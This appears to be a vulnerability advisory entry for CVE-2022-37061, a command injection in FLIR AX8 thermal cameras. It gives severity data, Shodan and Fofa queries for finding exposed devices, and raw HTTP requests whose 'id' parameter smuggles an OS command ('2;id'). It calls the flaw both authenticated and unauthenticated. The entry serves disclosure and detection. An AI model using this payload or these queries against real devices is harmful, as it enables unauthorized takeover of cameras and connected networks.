| Title | FLIR AX8 1.46.16 - Remote Command Injection |
|---|---|
| Author | ritikchaddha |
| Severity | Critical |
| Impact | Authenticated attackers can execute arbitrary OS commands on FLIR AX8 thermal imaging cameras through command injection in the alarm functionality's id parameter, potentially gaining complete control over the camera system and connected infrastructure. |
| Remediation | Upgrade to the latest version of FLIR AX8 that addresses this vulnerability. Implement proper input validation and sanitization for all user-supplied data. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93519 |
| CVE ID | CVE-2022-37061 |
| CWE ID | CWE-78 |
| Shodan Query | title:"FLIR" |
| Fofa Query | app="FLIR-AX8" |
| Tags | cve cve2022 flir ax8 rce authenticated vkev vuln |
FLIR AX8 version 1.46.16 and below is susceptible to an unauthenticated remote command injection vulnerability.The vulnerability exists in the alarm functionality where user-supplied input in the ‘id’ parameter is not properly sanitized,allowing attackers to inject and execute arbitrary OS commands.
POST /login/dologin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15
Connection: close
Content-Length: 37
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
user_name=vxnVOq&user_password=OZip2a
POST /res.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh: Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15
Connection: close
Content-Length: 20
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
action=alarm&id=2;id
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-37061.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-37061.pcap
N/AN/A